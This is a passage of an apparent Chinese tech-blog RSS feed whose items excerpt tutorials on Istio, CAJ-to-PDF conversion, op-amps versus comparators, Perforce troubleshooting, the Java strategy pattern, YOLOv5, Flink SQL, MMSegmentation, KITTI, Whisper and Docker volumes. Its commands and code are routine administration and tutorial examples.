pounce (seven kills): multiple, short rapid dives by different hawks r=rand(); % probablity of each event if r&amp;gt;=0.</description>
    </item>
    <item>
      <title>K8S之istio流量控制管理（十七）</title>
      <link>https://bchobby.github.io/posts/ee26ca8f0a9b66829df41467f572a096/</link>
      <pubDate>Thu, 15 Jun 2023 22:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee26ca8f0a9b66829df41467f572a096/</guid>
      <description>一，istio介绍&#xA;1、istio架构&#xA;结合上图我们来理解Istio的各组件的功能及相互之间的协作方式。&#xA;1. 自动注入：在创建应用程序时自动注入 Sidecar代理Envoy程序。在 Kubernetes中创建 Pod时，Kube-apiserver调用控制面组件的 Sidecar-Injector服务，自动修改应用程序的描述信息并注入Sidecar。在 真正创建Pod时，在创建业务容器的Pod中同时创建Sidecar容器。&#xA;2. 流量拦截：在 Pod 初始化时设置 iptables 规则，基于配置的iptables规则拦截业务容器的Inbound流量和Outbound流量到Sidecar上。而应用程序感知不到Sidecar的存在，还以原本的方式 进行互相访问。上图中，流出frontend服务的流量会被 frontend服务侧的 Envoy拦截，而当流量到达forecast容器时，Inbound流量被forecast 服务侧的Envoy拦截。&#xA;3. 服务发现：服务发起方的 Envoy 调用控制面组件 Pilot 的服务发现接口获取目标服务的实例列表。上图中，frontend 服务侧的 Envoy 通过 Pilot 的服务发现接口得到forecast服务各个实例的地址。&#xA;4. 负载均衡：服务发起方的Envoy根据配置的负载均衡策略选择服务实例，并连接对应的实例地址。上图中，数据面的各个Envoy从Pilot中获取forecast服务的负载均衡配置，并执行负载均衡动作。&#xA;5. 流量治理：Envoy 从 Pilot 中获取配置的流量规则，在拦截到 Inbound 流量和Outbound 流量时执行治理逻辑。上图中， frontend 服务侧的 Envoy 从 Pilot 中获取流量治理规则，并根据该流量治理规则将不同特征的流量分发到forecast服务的v1或v2版本。&#xA;6. 访问安全：在服务间访问时通过双方的Envoy进行双向认证和通道加密，并基于服务的身份进行授权管理。上图中，Pilot下发安全相关配置，在frontend服务和forecast服务的Envoy上自动加载证书和密钥来实现双向认证，其中的证书和密钥由另一个管理面组件 Citadel维护。&#xA;7. 服务监测：在服务间通信时，通信双方的Envoy都会连接管理面组件Mixer上报访问数据，并通过Mixer将数据转发给对应的监控后端。上图中，frontend服务对forecast服务的访问监控指标、日志和调用链都可以通过这种方式收集到对应的监控后端。&#xA;8. 策略执行：在进行服务访问时，通过Mixer连接后端服务来控制服务间的访问，判断对访问是放行还是拒绝。上图中，Mixer 后端可以对接一个限流服务对从frontend服务到forecast服务的访问进行速率控制等操作。&#xA;9. 外部访问：在网格的入口处有一个Envoy扮演入口网关的角 色。上图中，外部服务通过Gateway访问入口服务 frontend，对 frontend服务的负载均衡和一些流量治理策略都在这个Gateway上执行。&#xA;实际上Istio 就是 Service Mesh 架构的一种实现，服务之间的通信（比如这里的 Service A 访问 Service B）会通过代理（默认是 Envoy）来进行。</description>
    </item>
    <item>
      <title>caj文件在线转换成pdf方法，看这个就会了!</title>
      <link>https://bchobby.github.io/posts/bcf1c9a6a188ce18197d00a341babced/</link>
      <pubDate>Thu, 15 Jun 2023 21:32:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcf1c9a6a188ce18197d00a341babced/</guid>
      <description>当需要将Caj文件转换为PDF格式时，有多种方法可供选择。本文将介绍三种常用的方法，以帮助您完成这个任务。&#xA;第一种方法：使用记灵在线工具&#xA;一种常用的方法是利用记灵在线工具，它是一款提供免费文件转换服务的在线工具。以下是使用记灵进行Caj转PDF的步骤：&#xA;打开记灵在线工具网站，可以通过搜索引擎查找并访问官方网站。在记灵网站上，找到文件转换功能或搜索框。输入关键词&#34;Caj转PDF&#34;，或直接在搜索框中输入&#34;caj&#34;。记灵网站将列出相关的文件转换选项，找到&#34;Caj to PDF&#34;或类似选项，点击进入该功能页面。在该页面中，您会看到一个文件上传或选择的功能区域。点击选择文件按钮，并从您的计算机中选择要转换的Caj文件。选择文件后，记灵将开始处理并转换您的Caj文件。这可能需要一些时间，具体取决于文件的大小和记灵的性能。在转换完成后，记灵网站通常会提供一个下载链接，您可以使用该链接下载转换后的PDF文件。 记灵是一个方便易用的在线工具，可以帮助您将Caj文件快速转换为PDF格式。请注意，记灵可能会有一些限制，例如文件大小限制或转换次数限制，您可以根据自己的需求选择适合的在线工具。无论您选择哪种方法，都要确保选择一个可信的网站，并注意您的文件的隐私和机密性。&#xA;第二种方法：使用专业的Caj转PDF软件&#xA;除了在线工具，您还可以使用专业的Caj转PDF软件。这些软件通常提供更多的功能和选项，可以更好地处理和转换Caj文件。以下是使用专业软件的步骤：&#xA;在互联网上搜索并选择一款可靠的Caj转PDF软件，例如&#34;Wondershare PDF Converter&#34;或&#34;VeryPDF PDFcamp Printer&#34;。下载并安装所选软件，按照安装向导的指示进行操作。打开软件并导入要转换的Caj文件。一般来说，您可以通过&#34;文件&#34;菜单或类似的选项来选择要转换的文件。配置转换选项。根据软件的不同，您可能可以选择PDF的输出路径、页面设置、图像压缩等选项。点击&#34;转换&#34;或&#34;开始&#34;按钮，软件将开始处理并转换Caj文件为PDF格式。转换完成后，您可以在指定的输出路径中找到生成的PDF文件。 使用专业软件可以提供更多的自定义选项和更好的转换质量，但有时可能需要付费购买软件许可。&#xA;第三种方法：使用Adobe Acrobat Pro&#xA;如果您有安装了Adobe Acrobat Pro的计算机，您也可以使用该软件来进行Caj到PDF的转换。以下是使用Adobe Acrobat Pro的步骤：&#xA;打开Adobe Acrobat Pro软件。在工具栏上选择&#34;文件&#34;，然后选择&#34;创建&#34;，再选择&#34;PDF from File&#34;。在文件浏览器中选择要转换的Caj文件，并点击&#34;打开&#34;。Acrobat Pro将自动开始处理并转换所选的Caj文件为PDF格式。一旦转换完成，您可以保存生成的PDF文件。 Adobe Acrobat Pro是一种功能强大的PDF处理软件，除了文件转换功能，还提供许多其他高级功能，例如PDF编辑、合并、加密等。&#xA;总结：&#xA;将Caj文件转换为PDF格式有多种可行的方法。您可以选择使用记灵在线工具，这是一个简单快捷的解决方案，适用于一次性转换文件。如果您需要更多的选项和更好的转换质量，可以考虑使用专业的Caj转PDF软件。另外，如果您拥有Adobe Acrobat Pro，那么您也可以利用它来完成转换任务。根据您的具体需求和软件可用性，选择最适合您的方法，并开始将Caj文件转换为PDF格式。记得在处理文件时保护您的隐私和安全。</description>
    </item>
    <item>
      <title>运算放大器与比较器有哪些差异，看完秒懂！</title>
      <link>https://bchobby.github.io/posts/d1f6ab8f60ed801b1d3a7276cdae8e38/</link>
      <pubDate>Thu, 15 Jun 2023 21:22:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1f6ab8f60ed801b1d3a7276cdae8e38/</guid>
      <description>比较器是一种带有反相和同相两个输入端以及一个输出端的器件，该输出端的输出电压范围一般在供电的轨到轨之间。运算放大器同样如此。乍看似乎可以互换，实际上，两者之间还是存在一些重要差异…&#xA;比较器用于开环系统，旨在从其输出端驱动逻辑电路，以及在高速条件下工作，通常比较稳定。&#xA;运算放大器过驱时可能会饱和，使得恢复速度相对较慢。施加较大差分电压时，很多运算放大器的输入级都会出现异常表现，实际上，运算放大器的差分输入电压范围通常存在限制。运算放大器输出也很少兼容逻辑电路。&#xA;但是仍有很多人试图将运算放大器用作比较器。这种做法在低速和低分辨率时或许可行，但是大多数情况下结果并不理想。今天小编就给大家说说这“结果并不理想”的原因~&#xA;1&#xA;速度不同&#xA;大多数比较器速度都很快，不过很多运算放大器速度也很快。为什么将运算放大器用作比较器时会造成低速度呢？&#xA;比较器用于大差分输入电压，而运算放大器工作时，差分输入电压一般会在负反馈的作用下降至最低。当运算放大器过驱时，有时仅几毫伏也可能导致过载，其中有些放大级可能发生饱和。这种情况下，器件需要相对较长的时间从饱和中恢复，因此，如果发生饱和，其速度将比始终不饱和时慢得多(参见图1)。&#xA;图1：放大器用作比较器时的放大器速度饱和效应&#xA;过驱运算放大器的饱和恢复时间很可能远远超过放大器的正常群延迟，并且通常取决于过驱量。由于仅有少数运算放大器明确规定从不同程度过驱状态恢复所需的时间，因此，一般说来，有必要根据特定应用的具体过驱情况，通过实验确定放大器的特性。&#xA;对这类实验的结果应持谨慎态度，通过比较器(运算放大器)的传播延迟值(用于最差条件下的设计计算)应至少为所有实验中最差值的两倍。&#xA;2&#xA;输出作用不同&#xA;比较器的输出端用于驱动特定逻辑电路系列，运算放大器的输出端则用于在供电轨之间摆动。&#xA;通常，运算放大器比较器驱动的逻辑电路不会共用运算放大器的电源，运算放大器轨到轨摆动可能会超出逻辑供电轨，很可能会破坏逻辑电路，引起短路后还可能会破坏运算放大器。&#xA;有三种逻辑电路必须考虑，即ECL、TTL和CMOS——&#xA;ECL是一种极快的电流导引逻辑系列。基于上述原因，当应用中涉及ECL的最高速度时，运算放大器不太可能会用作比较器，因此，通常只需注意从运算放大器的信号摆幅驱动 ECL逻辑电平，因杂散电容造成的额外速度损失并不重要。只需采用三个电阻即可，如图 2所示。&#xA;图2：驱动ECL逻辑电路的运算放大器比较器&#xA;图中选用了R1、R2和R3，当运算放大器输出为正值时，栅级电平为–0.8 V，当输出较低 时，栅级电平为–1.6 V。ECL有时候采用正电源而不是负电源(即另外一个供电轨接地)，采用的基本接口电路相同，但是数值必须重新计算。&#xA;虽然CMOS和TTL输入结构、逻辑电平和电流差别很大(尽管有些CMOS明确规定可以采用 TTL输入电平工作)，但由于这两种逻辑电路都在逻辑0(接近0 V)和逻辑1(接近5 V)时工作，因此非常适合采用相同的接口电路。&#xA;图3：驱动TTL或CMOS逻辑电路的运算放大器比较器&#xA;最简单的接口采用单个N沟道MOS晶体管和一个上拉电阻RL，如图3所示。用NPN晶体管、RL ，外加一个晶体管和二极管也可以组成类似的电路。这些电路简单、廉价且可靠，还可以连接多个并联晶体管和一个RL ，实现“线或”功能，但是0-1转换的速度取决于RL 值和输出节点的杂散电容。RL 值越低，速度越快，但是功耗也会随之增加。通过采用两个 MOS器件、一个P沟道和一个N沟道，可以组成一个只需两个器件的CMOS/TTL接口，每种状态下都没有静态功耗(参见图4)。&#xA;图4：内置CMOS驱动器的运算放大器比较器&#xA;此外，只需改变器件的位置，就可以设置成反相或同相。但是，当两个器件同时打开时，开关过程中势必会产生较大的浪涌电流，除非采用集成高通道电阻的MOS器件，否则就可能需要使用限流电阻来减小浪涌电流的影响。该图和图3中的应用所采用的MOS器件栅源击穿电压VBGS在每个方向都必须大于比较器的输出电压。MOS器件中常见的栅源击穿电压值VBGS &amp;gt; ±25 V，这一数值通常绰绰有余，但是很多MOS器件内置栅级保护二极管，会减小这一数值，所以这些器件不应采用。&#xA;3&#xA;输入考虑因素&#xA;对于用作比较器的运算放大器，还需考虑与其输入相关的多种影响因素。工程师对所有运算放大器和比较器做出的第一级假设是：它们具有无穷大的输入阻抗，并且可视为开路(电流反馈(跨导)运算放大器除外，这种运算放大器同相输入端具有高阻抗，但反相输入端只有几十欧姆的低阻抗)。&#xA;但是很多运算放大器(尤其是偏置补偿型运算放大器，如OP-07及其很多后继产品)都内置保护电路，以防止大电压损坏输入器件。&#xA;其它运算放大器则内置更复杂的输入电路，在施加的差分电压小于几十毫伏时只具有高阻抗，或者在差分电压大于几十伏时可能会损坏。因此，将运算放大器用作比较器时，如果施加大差分电压，必须仔细研究数据手册，才能确定输入电路的工作方式。(采用集成电路时，务必研究数据手册，确保其非理想特性(每个集成电路都存在一些非理想特性)兼容推荐的应用——本文中这点尤为重要。)图5所示为内置防止大差分电压输入二极管的运算放大器。&#xA;图5：具有保护功能的运算放大器输入结构&#xA;当然，有一些比较器应用不存在大差分电压，即使存在，比较器输入阻抗相对而言也不太重要。这种情况适合将运算放大器用作比较器，其输入电路表现为非线性，但是涉及的问题必须考虑，不能忽视。&#xA;对BIFET运算放大器而言，如果其输入接近其中一个电源(通常为负电源)，几乎都会表现异常。其反相和同相输入可以互换。如果运算放大器用作比较器时发生这种情况，涉及的系统相位将会反转，造成极大不便。要解决这一问题，还是必须仔细阅读数据手册，确定合适的共模范围。&#xA;而且，没有负反馈意味着与运算放大器电路不同，输入阻抗不必乘以开环增益。因此，输入电流会随着比较器开关而变化。因此，驱动阻抗和寄生反馈对影响电路稳定性起着重要作用。负反馈往往会使放大器保持在线性区域内，正反馈则会使其饱和。&#xA;最后的建议&#xA;运算放大器设计的目的不是用作比较器，因此，不太建议这种做法。尽管如此，在某些应用中，将运算放大器用作比较器却是正确的设计决策，关键是要慎重考虑后再做出决策，并确保所选运算放大器能达到预期的性能。因此，必须仔细阅读数据手册，认真考虑非理想运算放大器性能的影响，并计算出运算放大器参数对应用的影响。由于运算放大器以非标准方式使用，可能还必须进行某些实验——实验所用的放大器不一定具有典型性，因此，解读实验结果时不宜过于乐观。</description>
    </item>
    <item>
      <title>Linux下p4 拉取卡顿问题</title>
      <link>https://bchobby.github.io/posts/4145a6d11b6d50938d3475aa084512aa/</link>
      <pubDate>Thu, 15 Jun 2023 20:57:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4145a6d11b6d50938d3475aa084512aa/</guid>
      <description>一、 p4 IP和端口号&#xA;命令：p4 info&#xA;二、查看linux 电脑信息&#xA;1、 linux下 netstat 查看 所有相关线程状态&#xA;2、netstat -apn|grep 1666&#xA;其中1666 为端口号&#xA;可以看到当前p4 端口号下的线程状态。&#xA;3、top -h 查看当前CPU 情况，包括内存情况。&#xA;4、free -h 可以看Mem 内存的情况。&#xA;三、清理电脑缓存。&#xA;清理之前：&#xA;清理后：&#xA;清理命令：&#xA;echo 3 &amp;gt; /proc/sys/vm/drop_caches 四、清理删掉某个或多个版本&#xA;命令行是&#xA;p4 obliterate -y //depot/file#1,#2000 记录下，以备后用。</description>
    </item>
    <item>
      <title>Java策略模式</title>
      <link>https://bchobby.github.io/posts/8816bc5fd2c66f6f05e8bf21718249b3/</link>
      <pubDate>Thu, 15 Jun 2023 18:28:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8816bc5fd2c66f6f05e8bf21718249b3/</guid>
      <description>策略模式是一种行为型设计模式，它允许在运行时动态地改变对象的行为。在Java中，策略模式通常由一个接口和多个实现该接口的类组成。&#xA;下面是一个简单的例子，假设有一个计算器类，它可以执行加、减、乘、除四种操作。我们可以使用策略模式来实现这个计算器类，使得它可以在运行时动态地改变操作。&#xA;首先，我们定义一个接口`Operation`，它包含一个`calculate`方法，用于执行具体的操作：&#xA;public interface Operation {&#xA;double calculate(double num1, double num2);&#xA;}&#xA;然后，我们实现四个具体的操作类，分别是加、减、乘、除：&#xA;public class AddOperation implements Operation {&#xA;@Override&#xA;public double calculate(double num1, double num2) {&#xA;return num1 + num2;&#xA;}&#xA;}&#xA;public class SubOperation implements Operation {&#xA;@Override&#xA;public double calculate(double num1, double num2) {&#xA;return num1 - num2;&#xA;}&#xA;}&#xA;public class MulOperation implements Operation {&#xA;@Override&#xA;public double calculate(double num1, double num2) {&#xA;return num1 * num2;</description>
    </item>
    <item>
      <title>图像处理实战02-yolov5目标检测</title>
      <link>https://bchobby.github.io/posts/0200732ff767bb3f06de5506da0fad83/</link>
      <pubDate>Thu, 15 Jun 2023 18:23:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0200732ff767bb3f06de5506da0fad83/</guid>
      <description>yolov5 YOLOv5 是一种目标检测算法，它是 YOLO (You Only Look Once) 系列算法的最新版本。YOLOv5 采用了一种新的架构，它包括一个基于 CSPNet (Cross Stage Partial Network) 的主干网络以及一系列改进的技巧，如多尺度训练、数据增强、网络混合精度训练等，从而实现了更快的检测速度和更好的检测精度。&#xA;YOLOv5 支持多种类型的目标检测任务，如物体检测、人脸检测、车辆检测等，可以应用于各种实际场景，如智能安防、自动驾驶、机器人视觉等。同时，YOLOv5 还提供了预训练的模型和开源代码，方便开发者进行模型的训练和应用。&#xA;github地址：https://github.com/ultralytics/yolov5/blob/master/README.zh-CN.md&#xA;官网：https://ultralytics.com/&#xA;发展历程 YOLO（You Only Look Once）是一系列的目标检测模型，由Joseph Redmon等人开发。以下是YOLO系列的发展历程：&#xA;YOLOv1：于2015年首次提出，是YOLO系列的第一个版本。YOLOv1通过将目标检测任务转化为回归问题，将图像划分为网格并预测每个网格的边界框和类别概率。然而，YOLOv1存在定位不准确和对小目标敏感的问题。&#xA;YOLOv2（YOLO9000）：于2016年提出，是YOLO系列的第二个版本。YOLOv2通过引入Darknet-19网络结构、使用anchor boxes和多尺度预测来改进检测性能。同时，YOLOv2还引入了目标类别的语义分割，可以检测更多类别的目标。&#xA;YOLOv3：于2018年提出，是YOLO系列的第三个版本。YOLOv3针对YOLOv2存在的问题进行了改进，引入了多尺度预测、使用FPN结构和使用更小的anchor boxes等技术，提高了检测精度和对小目标的检测能力。&#xA;YOLOv4：于2020年提出，是YOLO系列的第四个版本。YOLOv4在YOLOv3的基础上引入了一系列改进，包括CSPDarknet53作为主干网络、使用SAM和PANet模块来提取特征、使用YOLOv3和YOLOv4的预训练权重进行初始化等，提高了检测性能和速度。&#xA;YOLOv5：于2020年提出，是YOLO系列的第五个版本。YOLOv5采用了轻量化的网络结构，提高了检测的速度，并引入了一些新功能，如YOLOv5-seg分割模型、Paddle Paddle导出功能、YOLOv5 AutoCache自动缓存功能和Comet日志记录和可视化集成功能。&#xA;总体而言，YOLO系列模型通过不断的改进和优化，提高了目标检测的性能和速度，并在计算机视觉领域取得了重要的突破。&#xA;yolov8 YOLOv8是YOLO系列模型的一个变种，它在YOLOv5的基础上进行了改进和优化。YOLOv8模型包含了检测（Detect）、分割（Segment）和姿态估计（Pose）、跟踪（Track）以及分类（Classify）等功能。下面是对这些功能的简要说明：&#xA;检测（Detect）：YOLOv8模型能够对图像或视频中的目标进行实时的物体检测。它通过预测目标的边界框和类别信息来完成检测任务。&#xA;分割（Segment）：YOLOv8模型还支持目标分割的功能，即将图像中的每个像素进行分类，将不同的目标区域进行分割。这个功能可以用于识别图像中的不同物体，并进行更精确的定位和分析。&#xA;姿态估计（Pose）：YOLOv8模型还可以对检测到的目标进行姿态估计，即推断目标在三维空间中的姿态信息。这对于一些需要了解目标的方向和位置的应用非常有用，比如人体姿态分析、机器人导航等。&#xA;跟踪（Track）：YOLOv8模型还具有目标跟踪的功能，即在视频中连续追踪相同目标的位置和轨迹。这对于视频监控、自动驾驶等应用非常重要。&#xA;分类（Classify）：除了目标检测和分割功能之外，YOLOv8模型还可以对检测到的目标进行分类，即给出目标的类别信息。这对于了解目标的属性和进行更细粒度的分析非常重要。&#xA;总而言之，YOLOv8模型综合了多种功能，包括检测、分割、姿态估计、跟踪和分类等，使其具备了更广泛的应用领域和更强大的功能。&#xA;github地址：https://github.com/ultralytics/ultralytics&#xA;v5入门示例 安装 克隆 repo，并要求在 Python&amp;gt;=3.7.0 环境中安装 requirements.txt ，且要求 PyTorch&amp;gt;=1.7 。&#xA;micromamba create prefix=d:/python380 python=3.8 #创建3.8的虚拟环境 micromamba activate d:/python380 git clone https://github.com/ultralytics/yolov5 # clone cd yolov5 pip install -r requirements.</description>
    </item>
    <item>
      <title>Flink SQL之Interval Joins</title>
      <link>https://bchobby.github.io/posts/7e1caf30fde32bc6d40226372fe09f7e/</link>
      <pubDate>Thu, 15 Jun 2023 17:22:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e1caf30fde32bc6d40226372fe09f7e/</guid>
      <description>1.Interval Joins（区间Join） 区间是双流join的优化，基于处理时间或事件时间，在一定时间区间内数据，相同的key进行join（支持 Batch\Streaming）。Interval Join 可以让一条流去 Join 另一条流中前后一段时间内的数据。&#xA;对于stream查询，时间区间join只支持有时间属性的 append-only表。由于时间属性是准单调递增的，Flink可以从其状态中删除旧值，而不会影响结果的正确性。&#xA;优点：由于给定了关联的区间，因此只需要保留很少的状态，内存压力较小。&#xA;缺点：如果关联的数据晚到或者早到，导致落不到 JOIN 区间内，就可能导致结果不准确。只支持普通 Append 数据流，不支持含 Retract 的动态表。支持事件时间和处理时间 区间join支持基本特征如下：&#xA;支持INNER、LEFT、RIGHT、FULL OUT JOIN语义语法和传统sql join一致左右流都会触发更新state根据时间区间保留，自动清理输出流保留时间属性 2.语法 语法和sql join一致。&#xA;SELECT * FROM Orders [INNER|RIGHT|LEFT|FULL OUTER] JOIN Product ON Orders.productId = Product.id 区别在于join连接条件，有效的join连接条件如下：&#xA;ltime = rtimeltime &amp;gt;= rtime AND ltime &amp;lt; rtime + INTERVAL &#39;10&#39; MINUTEltime BETWEEN rtime - INTERVAL &#39;10&#39; SECOND AND rtime + INTERVAL &#39;5&#39; SECOND 3.Interval Join实例 如果订单在收到订单10小时后发货，则此查询将把所有订单与其相应的发货联系起来&#xA;# 两表有时间戳字段，并且作为 watermark。或者使用PROCTIME() 函数来生成一个处理时间戳 SELECT * FROM Orders o, Shipments s WHERE o.</description>
    </item>
    <item>
      <title>MMSegmentation系列之训练与推理自己的数据集（三）</title>
      <link>https://bchobby.github.io/posts/46fbc9e48611142b139c8e769f3234d2/</link>
      <pubDate>Thu, 15 Jun 2023 17:18:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46fbc9e48611142b139c8e769f3234d2/</guid>
      <description>1、准备数据目录结构 mstsc VOCdevkit&#xA;│ │ ├── VOC2012&#xA;│ │ │ ├── JPEGImages（原始影像）&#xA;│ │ │ ├── SegmentationClass（掩膜影像）&#xA;│ │ │ ├── ImageSets&#xA;│ │ │ │ ├── Segmentation（数据划分）&#xA;2、下载预训练模型 model的预训练模型&#xA;deeplabv3plus&#xA;3、修改配置文件（deeplabv3plus_r50-d8_512x512_40k_voc12aug.py） 1、 设置修改类别数​(模型架构配置文件deeplabv3plus_r50-d8_512x512_40k_voc12aug.py) _base_ = [ &#39;../_base_/models/deeplabv3plus_r50-d8.py&#39;, &#39;../_base_/datasets/pascal_voc12_aug.py&#39;, &#39;../_base_/default_runtime.py&#39;, &#39;../_base_/schedules/schedule_40k.py&#39; ] model = dict( decode_head=dict(num_classes=21), auxiliary_head=dict(num_classes=21))#按照自己的数据进行修改 2、修改数据信息（数据类型、数据主路径等和batch-size）（…/base/datasets/pascal_voc12_aug.py、pascal_voc12.py） # dataset settings dataset_type = &#39;PascalVOCDataset&#39; #按照需要修改数据类型 data_root = &#39;data/VOCdevkit/VOC2012&#39; #按照需要修改数据主路径 img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) crop_size = (512, 512) train_pipeline = [ dict(type=&#39;LoadImageFromFile&#39;), dict(type=&#39;LoadAnnotations&#39;), dict(type=&#39;Resize&#39;, img_scale=(2048, 512), ratio_range=(0.</description>
    </item>
    <item>
      <title>（二）一文带你了解KITTI数据集</title>
      <link>https://bchobby.github.io/posts/ca9573e12ab05edd071722cf162ff577/</link>
      <pubDate>Thu, 15 Jun 2023 17:01:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca9573e12ab05edd071722cf162ff577/</guid>
      <description>（二）一文带你了解KITTI数据集 KITTI官网网址：https://www.cvlibs.net/datasets/kitti/index.php&#xA;KITTI数据集论文：Are we ready for Autonomous Driving? The KITTI Vision Benchmark Suite&#xA;KITTI3D AP Metric：Disentangling Monocular 3D Object Detection&#xA;第一章：KITTI数据集介绍 1.1 KITTI数据集简介 KITTI数据集是由德国卡尔斯鲁厄理工学院 Karlsruhe Institute of Technology (KIT) 和美国芝加哥丰田技术研究院 Toyota Technological Institute at Chicago (TTI-C) 于2012年联合创办，是目前国际上最为常用的自动驾驶场景下的计算机视觉算法评测数据集之一。该数据集用于评测立体图像(stereo)，光流(optical flow)，视觉测距(visual odometry)，3D物体检测(object detection)和3D跟踪(tracking)等计算机视觉技术在车载环境下的性能。KITTI数据集包含市区、乡村和高速公路等场景采集的真实图像数据，每张图像中最多达15辆车和30个行人，还有各种程度的遮挡与截断。 KITTI数据集针对3D目标检测任务提供了14999张图像以及对应的点云，其中7481组用于训练，7518组用于测试，针对场景中的汽车、行人、自行车三类物体进行标注，共计80256个标记对象。&#xA;1.2 KITTI数据集采集车 KITTI数据集采集车的传感器布置平面如上图所示，车辆装配有2个灰度摄像机，2个彩色摄像机，一个Velodyne 64线3D激光雷达，4个光学镜头，以及1个GPS导航系统，在上图中使用了红色标记。&#xA;2个一百四十万像素的PointGray Flea2灰度相机2个一百四十万像素的PointGray Flea2彩色相机1个64线的Velodyne激光雷达，10Hz，角分辨率为0.09度，每秒约一百三十万个点，水平视场360°，垂直视场26.8°，至多120米的距离范围4个Edmund的光学镜片，水平视角约为90°，垂直视角约为35°1个OXTS RT 3003的惯性导航系统（GPS/IMU），6轴，100Hz，分别率为0.02米，0.1° 注意：双目相机之间的距离为0.54米，点云到相机之间的距离为0.27米，在上图中使用了蓝色标记。&#xA;1.3 KITTI数据集坐标系表示 图中蓝色的坐标系表示激光点云的坐标系，红色的坐标系表示相机的坐标系。&#xA;第二章：准备KITTI数据集 2.1 官网下载KITTI数据集 在KITTI 3D object detection dataset下载KITTI数据集安装包。&#xA;当然，如果在官网下载麻烦的话，我已经下载好了，使用百度网盘可以直接进行下载。&#xA;百度网盘链接：https://pan.baidu.com/s/1K-UaIFUt_bibjC6ZtLUKYA&#xA;提取码：7jq1&#xA;道路平面信息是由 AVOD 生成的，其在训练过程中作为一个可选项，用来提高模型的性能，点击下载道路平面信息。&#xA;2.2 官网下载KITTI数据集后的组织结构 在官网下载KITTI数据集后，并在mmdetection3d文件夹下组织成以下所示的结构。</description>
    </item>
    <item>
      <title>python语音识别whisper</title>
      <link>https://bchobby.github.io/posts/40a92006a4cf2851d3d6e1de628ec37d/</link>
      <pubDate>Thu, 15 Jun 2023 17:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40a92006a4cf2851d3d6e1de628ec37d/</guid>
      <description>一、背景 最近想提取一些视频的字幕，语音文案，研究了一波&#xA;二、whisper语音识别 Whisper 是一种通用的语音识别模型。它在不同音频的大型数据集上进行训练，也是一个多任务模型，可以执行多语言语音识别以及语音翻译和语言识别。&#xA;stable-ts在 OpenAI 的 Whisper 之上修改并添加了更大的破解代码发布，生成更准确的阶段时间切换，并在无须额外推介的情况下获得申领&#xA;安装pip install openai-whisper pip install stable-ts SizeParametersEnglish-only modelMultilingual modelRequired VRAMRelative speedtiny39 Mtiny.entiny~1 GB~32xbase74 Mbase.enbase~1 GB~16xsmall244 Msmall.ensmall~2 GB~6xmedium769 Mmedium.enmedium~5 GB~2xlarge1550 MN/Alarge~10 GB1x 三、示例 模型越大，越精确，相应话费的时间越长&#xA;自带语言识别功能，language最好加上，下面歌曲识别为英语，加后为中文&#xA;stable_whisper 是 whisper 进化版 即 python的这个包stable-ts&#xA;import whisper import stable_whisper as whisper class WhisperTranscriber(object): def __init__(self, model_name): self.model = whisper.load_model(model_name) def whisper_transcribe(self, audio_path): audio = self.model.transcribe(audio_path, fp16=False, language=&#39;Chinese&#39;) return audio[&#39;text&#39;] if __name__ == &#39;__main__&#39;: transcriber = WhisperTranscriber(&#34;</description>
    </item>
    <item>
      <title>docker容器 - 卷（volume）- 挂载</title>
      <link>https://bchobby.github.io/posts/ec7edd0cce4a6524f1803c8a4d0043f7/</link>
      <pubDate>Thu, 15 Jun 2023 15:32:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec7edd0cce4a6524f1803c8a4d0043f7/</guid>
      <description>目录&#xA;参考文档：Volumes | Docker Documentation&#xA;什么是卷（volume）？&#xA;什么是挂载，它的作用是什么？&#xA;一台机器里的多个容器之间共享数据（使用挂载）&#xA;首先我们可以使用最简单的docker cp命令复制文件给容器，来实现跟挂载相似的功能&#xA;docker容器挂载文件的命令&#xA;docker容器挂载卷（volume）的命令&#xA;多台机器之间共享数据（NFS挂载的使用）&#xA;可查看参考文档：(45条消息) 搭建NFS服务器_Claylpf的博客-CSDN博客&#xA;然后可以直接使用docker容器的卷直接挂载nfs服务器&#xA;参考文档：Volumes | Docker Documentation 什么是卷（volume）？ 在容器化应用程序开发和部署过程中，卷（Volume）是一个非常常见的概念，它可以将主机文件系统或其他容器的文件系统挂载到容器内部的特定路径上，从而为容器提供额外的持久化存储。因此，容器里卷起到的作用主要有以下几个方面：&#xA;持久化存储：容器中的文件系统是短暂且易变的，当容器被删除后，容器内数据也会随之消失。而通过使用卷，可以将需要持久化的数据存储在卷中，从而保证数据的持久化。&#xA;数据共享：容器化应用程序通常由多个容器组成，这些容器需要分享数据或配置信息。通过使用卷，不同的容器之间可以共享相同的卷，从而实现数据共享。&#xA;数据备份：通过使用卷，可以将数据备份到独立的存储设备中，例如网络附加存储（NAS）或云存储等。这有助于防止数据丢失、数据损坏或其他故障，提高了数据的可靠性。&#xA;总的来说，卷是容器化应用程序中提供持久化存储和数据共享的关键组件之一，可以提高应用程序的稳定性和可靠性，同时也有助于简化应用程序的开发和管理。&#xA;我们可以通过docker inspect查看每个容器对应的卷（volume）（mysq会自带卷，nginx不会，需要我们挂载卷） [root@mysql _data]# docker inspect sc-mysql-1 | egrep &#34;volume&#34; #查找sc-mysql-1容器里对应的vloume卷 &#34;Type&#34;: &#34;volume&#34;, &#34;Source&#34;: &#34;/var/lib/docker/volumes/6167418cb7d0a3dfacef4439f410e1860c088d297cf47aeceaf88d3e56528219/_data&#34;, [root@mysql _data]# 什么是挂载，它的作用是什么？ 